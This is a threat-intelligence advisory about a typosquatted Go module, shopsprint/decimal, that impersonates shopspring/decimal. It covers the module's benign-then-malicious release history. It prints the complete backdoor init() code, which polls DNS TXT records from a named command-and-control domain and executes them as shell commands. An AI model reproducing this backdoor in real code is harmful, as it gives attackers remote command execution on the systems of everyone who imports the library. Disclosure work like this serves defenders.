github.com/shopsprint/decimal Go Module Typosquat — 33-Month-Old DNS TXT Backdoor Against shopspring/decimal Supply Chain — Threadlinqs Intelligence
As of 2026-05-30, github.com/shopsprint/decimal Go Module Typosquat — 33-Month-Old DNS TXT Backdoor Against shopspring/decimal Supply Chain is a high-severity supply chain threat, tracked by Threadlinqs Intelligence with 9 detection rules (Splunk SPL, Microsoft KQL, Sigma) and 20 indicators of compromise.
Threat ID: TL-2026-0535 · Severity: HIGH · Status: MONITORING · Category: SUPPLY_CHAIN
Socket Threat Research disclosed a long-running typosquat of github.com/shopspring/decimal (the de facto Go arbitrary-precision decimal library with 38,634 known importers across fintech, billing,
OVERVIEW
github.com/shopsprint/decimal is a malicious Go module that impersonates github.com/shopspring/decimal — the canonical Go library for fixed-point arbitrary-precision decimal arithmetic, used wherever a project handles money, ledger entries, exchange rates, billing math, or cryptocurrency amounts (Go's native float64 cannot represent monetary values without rounding error). The legitimate package has 38,634 known importers on pkg.go.dev. The typosquat differs by a single character at the end of the vendor name (shopspring -> shopsprint) and preserves the entire public API and source body of the upstream library, so importing projects compile, pass tests, and produce correct arithmetic results with no observable behavioral difference.
TRUST-THEN-POISON RELEASE TIMELINE
The typosquat was published with eight tagged versions between 2017 and 2023:
- v1.0.0 (2017-11-08), v1.0.1 (2018-03-01), v1.1.0 (2018-07-09), v1.2.0 (2020-04-28), v1.3.0 (2021-10-13), v1.3.1 (2021-10-20): straight source mirrors of upstream tags, no malicious code.
- v1.3.2 (2023-08-19 09:20:28 UTC): mirrored upstream bugfixes (a one-character comment typo correction and an arithmetic precision fix in Decimal.Mod). Still benign.
- v1.3.3 (2023-08-19 09:27:21 UTC, exactly 7 minutes later): same v1.3.2 base plus an additional commit (2f0ee073c6f29d66188a845592029c9b52528f04) that adds the backdoor.
The back-to-back benign-then-malicious release pattern is the trust-then-poison technique Socket previously documented in the boltdb-go/bolt Go typosquat: a legitimate, low-impact release is shipped to establish recent maintenance activity, and the malicious release follows within minutes so that any developer who re-checks the package on the day of poisoning sees plausible, upstream-aligned activity. The combined operational picture is approximately six years of benign typosquat seeding followed by approximately thirty-three months of weaponized presence on the Go module ecosystem before disclosure.
PAYLOAD MECHANICS (FULL DIFF v1.3.2 -> v1.3.3, decimal.go)
Three changes are spliced into decimal.go:
1. Import block extended with net, os/exec, and time. None of these are present in the upstream shopspring/decimal source at any tagged version. A pure arithmetic library has no documented reason to perform DNS resolution or process execution.
2. A new init() function declared inside package decimal:
func init(){
go func(){
for {
records, err := net.LookupTXT("dnslog-cdn-images.freemyip.com")
if err != nil { time.Sleep(5 * time.Minute); continue }
for _, txt := range records {
cmd := exec.Command(txt)
cmd.CombinedOutput()
}
time.Sleep(5 * time.Minute)
}
}()
}
3. A spurious func main(){} appended at the end of the file. Because decimal.go declares package decimal (not package main), this main is dead code under any normal build; its presence is a forensic tell of sloppy authorship (likely a scratch file or AI-assisted scaffolding), not a functional component of the payload.
Go's package initialization model guarantees that every init() in a package runs before main() and before any exported function of the package can be called. Importing github.com/shopsprint/decimal anywhere in a project's dependency graph — direct or transitive — is therefore sufficient to start the C2 loop the moment the resulting binary runs. The loop is hosted in a detached goroutine that survives for the entire process lifetime, polls net.LookupTXT every 5 minutes, sleeps silently on DNS failure (no log line, no error propagation), and passes each TXT string directly to exec.Command(txt).CombinedOutput().
COMMAND AND CONTROL CHANNEL
The single hardcoded IOC inside the payload is dnslog-cdn-images.freemyip.com. The subdomain currently resolves to an A record of 8.8.8.8 (Google Public DNS);
Weaknesses (CWE)
CWE-506, CWE-829, CWE-94, CWE-78, CWE-1357
Target sectors: financial, fintech, cryptocurrency, billing, analytics, ecommerce, ledger-and-accounting, software-development
Target regions: Global
Detections & IOCs
As of 2026-07-28, this threat has 9 detection rule(s) across Splunk SPL, Microsoft KQL and Sigma, and 20 indicator(s) of compromise. Detection query text and full IOC values are available to authenticated users and programmatically via the Threadlinqs MCP server (Purple tier). View plans.
SUPPLY_CHAIN, HIGH, threat intelligence, cybersecurity, T1583, T1583.001, T1583.002, T1587.001, T1608.001, T1195, T1195.002, T1059, T1129, T1106